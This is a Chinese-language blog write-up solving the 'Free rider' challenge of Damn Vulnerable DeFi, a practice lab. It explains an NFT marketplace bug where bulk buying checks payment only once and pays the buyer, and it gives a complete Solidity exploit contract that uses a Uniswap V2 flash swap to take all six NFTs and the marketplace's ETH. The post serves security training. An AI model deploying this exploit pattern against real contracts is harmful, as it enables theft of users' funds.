# Damn Vulnerable DeFi 挑战记录 #10 - Free rider 

By [Runstar](https://paragraph.com/@runstar) · 2022-07-28

---

[_Challenge #10 - Free rider_](https://www.damnvulnerabledefi.xyz/challenges/10.html)

> A new marketplace of Damn Valuable NFTs has been released! There's been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.
> 
> A buyer has shared with you a secret alpha: the marketplace is vulnerable and all tokens can be taken. Yet the buyer doesn't know how to do it. So it's offering a payout of 45 ETH for whoever is willing to take the NFTs out and send them their way.
> 
> You want to build some rep with this buyer, so you've agreed with the plan.
> 
> Sadly you only have 0.5 ETH in balance. If only there was a place where you could get free ETH, at least for an instant.

*   [See the contracts](https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v2.2.0/contracts/free-rider)
    
*   [Complete the challenge](https://github.com/tinchoabbate/damn-vulnerable-defi/blob/v2.2.0/test/free-rider/free-rider.challenge.js)
    

[_ERC721_ 文档](https://docs.openzeppelin.com/contracts/4.x/erc721)

[_IERC721.sol_](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721.sol)

[_IERC721Receiver.sol_](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721Receiver.sol)

[_UniSwap V2_ 文档](https://docs.uniswap.org/protocol/V2/introduction)

* * *

**目标:** 取走交易所中的6个NFT发给雇主,获得45ETH酬金

        after(async function () {
            /** SUCCESS CONDITIONS */
    
            // Attacker must have earned all ETH from the payout
            expect(await ethers.provider.getBalance(attacker.address)).to.be.gt(BUYER_PAYOUT);
            expect(await ethers.provider.getBalance(this.buyerContract.address)).to.be.eq("0");
    
            // The buyer extracts all NFTs from its associated contract
            for (let tokenId = 0; tokenId < AMOUNT_OF_NFTS; tokenId++) {
                await this.nft
                    .connect(buyer)
                    .transferFrom(this.buyerContract.address, buyer.address, tokenId);
                expect(await this.nft.ownerOf(tokenId)).to.be.eq(buyer.address);
            }
    
            // Exchange must have lost NFTs and ETH
            expect(await this.marketplace.amountOfOffers()).to.be.eq("0");
            expect(await ethers.provider.getBalance(this.marketplace.address)).to.be.lt(
                MARKETPLACE_INITIAL_ETH_BALANCE,
            );
        });
    

### 代码解析:

`free-rider.challenge.js`

*   攻击者获得初始0.5 ETH
    
*   部署Uniswap V2, 注入15000 `DVT token` : 9000 `WETH`
    
*   部署`FreeRiderNFTMarketplace` NFT市场合约并创建6个`DVNFT`,转入90 ETH
    
*   将所有NFT授权给NFT市场
    
*   每个NFT定价15 ETH
    
*   部署`FreeRiderBuyer` 雇主合约
    

* * *

`FreeRiderBuyer.sol` 雇主合约, 继承自`IERC721Receiver`

`onERC721Received` ERC721回退函数

            ......        
            received++;
            if(received == 6) {            
                payable(partner).sendValue(JOB_PAYOUT);
            }            
            ......
    

*   收到6个NFT后, 雇主向攻击者支付45 ETH酬金
    

* * *

`FreeRiderNFTMarketplace.sol` NFT市场合约

`constructor` 构造函数, 创建DVNFT合约并mint出6个至交易所 `offerMany` NFT挂单函数, 通过循环调用`_offerOne` 完成批量挂单

*   check 挂单价大于0
    
*   check 挂单发起者为NFT拥有者
    
*   check NFT已`approve`授权给NFT市场
    
*   挂单价格存入`offers[tokenId]` 映射中
    
*   `amountOfOffers` 挂单数自增
    

`buyMany` NFT购买函数,通过循环调用`_buyOne` 批量购买

        function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
            for (uint256 i = 0; i < tokenIds.length; i++) {
                _buyOne(tokenIds[i]);
            }
        }
    
        function _buyOne(uint256 tokenId) private {       
            uint256 priceToPay = offers[tokenId];
            require(priceToPay > 0, "Token is not being offered");
    
            require(msg.value >= priceToPay, "Amount paid is not enough");
    
            amountOfOffers--;
    
            // transfer from seller to buyer
            token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);
    
            // pay seller
            payable(token.ownerOf(tokenId)).sendValue(priceToPay);
    
            emit NFTBought(msg.sender, tokenId, priceToPay);
        }    
    

*   check 支付价格大于0
    
*   check `msg.value` 大于等于支付价格
    
*   每次购买后, 挂单数自减
    
*   转移NFT至购买者
    
*   向卖家支付ETH
    

* * *

### 漏洞:

    require(msg.value >= priceToPay, "Amount paid is not enough");
    token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);
    payable(token.ownerOf(tokenId)).sendValue(priceToPay);
    

*   在`buyMany` 购买函数循环中, 仅检查`msg.value` 满足大于单轮NFT的价格, 即可通过所有批量购买
    
*   向卖家付款发生在转移NFT之后, 因此`payable(token.ownerOf(tokenId)).sendValue(priceToPay);` 将从合约向购买者付款
    

### 攻击思路:

*   向`UniSwap V2` 发起 [Flash Swaps](https://docs.uniswap.org/protocol/V2/concepts/core-concepts/flash-swaps) 闪电贷借出15 ETH以满足购买单个NFT
    
*   在闪电贷回退函数中购买6个NFT, `msg.value` 传入15 ETH, 执行完成后将得到6个NFT和来自NFT市场的90 ETH
    
*   转移6个NFT至雇主合约, 触发ERC721回退函数收到45 ETH佣金
    
*   计算还款金额并还款完成闪电贷
    
*   转移ETH 至攻击者合约
    

### 代码示例:

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;
    
    interface IUniswapV2Pair {
        function swap(
            uint256 amount0Out,
            uint256 amount1Out,
            address to,
            bytes calldata data
        ) external;
    }
    
    interface IUniswapV2Callee {
        function uniswapV2Call(
            address sender,
            uint256 amount0,
            uint256 amount1,
            bytes calldata data
        ) external;
    }
    
    interface IFreeRiderNFTMarketplace {
        function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external;
    
        function buyMany(uint256[] calldata tokenIds) external payable;
    
        function token() external returns (IERC721);
    }
    
    interface IWETH {
        function transfer(address recipient, uint256 amount) external returns (bool);
    
        function deposit() external payable;
    
        function withdraw(uint256 amount) external;
    }
    
    interface IERC721 {
        function setApprovalForAll(address operator, bool approved) external;
    
        function safeTransferFrom(
            address from,
            address to,
            uint256 tokenId
        ) external;
    }
    
    interface IERC721Receiver {
        function onERC721Received(
            address operator,
            address from,
            uint256 tokenId,
            bytes calldata data
        ) external returns (bytes4);
    }
    
    contract FreeRiderAttack is IUniswapV2Callee, IERC721Receiver {
        address freeRiderBuyer;
        address immutable attacker;
        IUniswapV2Pair immutable uniswapPair;
        IFreeRiderNFTMarketplace immutable nftMarketplace;
        IWETH immutable weth;
        IERC721 immutable nft;
    
        constructor(
            IUniswapV2Pair _uniswapPair,
            IFreeRiderNFTMarketplace _nftMarketplace,
            IWETH _weth,
            address _freeRiderBuyer
        ) {
            attacker = msg.sender;
            uniswapPair = _uniswapPair;
            nftMarketplace = _nftMarketplace;
            weth = _weth;
            nft = _nftMarketplace.token();
            freeRiderBuyer = _freeRiderBuyer;
        }
    
        // 发起flash swap闪电贷
        function attack() external {
            uniswapPair.swap(15 ether, 0, address(this), hex"00");
        }
    
        // 闪电贷回退函数
        function uniswapV2Call(
            address,
            uint256,
            uint256,
            bytes calldata
        ) external override {
            weth.withdraw(15 ether);
    
            // 用15 ETH 购买6个NFT
            uint256[] memory tokenIds = new uint256Unsupported embed;
            for (uint256 i = 0; i < 6; i++) {
                tokenIds[i] = i;
            }
    
            nftMarketplace.buyMany{ value: 15 ether }(tokenIds);
    
            // 将NFT发送给雇主
            for (uint8 tokenId = 0; tokenId < 6; tokenId++) {
                nft.safeTransferFrom(address(this), freeRiderBuyer, tokenId);
            }
    
            // 计算闪电贷手续费
            uint256 fee = ((15 ether * 3) / uint256(997)) + 1;
            weth.deposit{ value: 15 ether + fee }();
            weth.transfer(address(uniswapPair), 15 ether + fee);
    
            // 转移ETH至攻击者地址
            payable(address(attacker)).transfer(address(this).balance);
        }
    
        receive() external payable {}
    
        function onERC721Received(
            address,
            address,
            uint256,
            bytes memory
        ) external pure override returns (bytes4) {
            return IERC721Receiver.onERC721Received.selector;
        }
    }
    

        it("Exploit", async function () {
            /** CODE YOUR EXPLOIT HERE */
            const AttackFactory = await ethers.getContractFactory("FreeRiderAttack", attacker);
            const exploit = await AttackFactory.deploy(
                this.uniswapPair.address,
                this.marketplace.address,
                this.weth.address,
                this.buyerContract.address,
            );
            await exploit.attack();
        });
    

_运行通过_

    ❯ yarn run free-rider
    yarn run v1.22.19
    warning ../../package.json: No license field
    $ yarn hardhat test test/free-rider/free-rider.challenge.js
    warning ../../package.json: No license field
    $ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/free-rider/free-rider.challenge.js
    Compiling 1 file with 0.8.7
    Compilation finished successfully
    
    
      [Challenge] Free Rider
        ✓ Exploit (337ms)
    
    
      1 passing (4s)
    
    Done in 6.39s.
    

_Twitter:_ [@0xRunstar](https://twitter.com/0xRunstar)

---

*Originally published on [Runstar](https://paragraph.com/@runstar/damn-vulnerable-defi-10-free-rider)*
